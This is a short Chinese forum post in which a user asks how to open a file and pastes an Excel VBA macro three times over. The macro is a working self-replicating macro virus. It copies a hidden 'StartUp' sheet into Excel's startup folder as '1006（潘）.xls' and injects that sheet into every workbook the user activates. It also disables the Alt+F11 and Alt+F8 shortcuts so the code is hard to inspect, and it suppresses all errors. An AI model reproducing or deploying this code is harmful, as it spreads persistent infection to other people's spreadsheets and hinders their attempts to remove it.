这个文件怎么打开啊。请大家帮忙

yaozhaoze

这个文件怎么打开啊。请大家帮忙
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006（潘）.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006（潘）.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("1006（潘）.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "1006（潘）.xls!acop"
  Application.OnKey "%{F11}", "1006（潘）.xls!escape"
  Application.OnKey "%{F8}", "1006（潘）.xls!escape"
End Sub
Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("1006（潘）.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub
Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "1006（潘）.xls!escape"
  Application.OnKey "%{F11}", "1006（潘）.xls!escape"
  Application.OnSheetActivate = "1006（潘）.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "1006（潘）.xls!acop"
  Workbooks.Open Application.StartupPath & "\1006（潘）.xls"
End Sub

Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006（潘）.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006（潘）.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("1006（潘）.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "1006（潘）.xls!acop"
  Application.OnKey "%{F11}", "1006（潘）.xls!escape"
  Application.OnKey "%{F8}", "1006（潘）.xls!escape"
End Sub
Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("1006（潘）.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub
Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "1006（潘）.xls!escape"
  Application.OnKey "%{F11}", "1006（潘）.xls!escape"
  Application.OnSheetActivate = "1006（潘）.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "1006（潘）.xls!acop"
  Workbooks.Open Application.StartupPath & "\1006（潘）.xls"
End Sub

Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006（潘）.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006（潘）.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("1006（潘）.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "1006（潘）.xls!acop"
  Application.OnKey "%{F11}", "1006（潘）.xls!escape"
  Application.OnKey "%{F8}", "1006（潘）.xls!escape"
End Sub
Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("1006（潘）.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub
Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "1006（潘）.xls!escape"
  Application.OnKey "%{F11}", "1006（潘）.xls!escape"
  Application.OnSheetActivate = "1006（潘）.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "1006（潘）.xls!acop"
  Workbooks.Open Application.StartupPath & "\1006（潘）.xls"
End Sub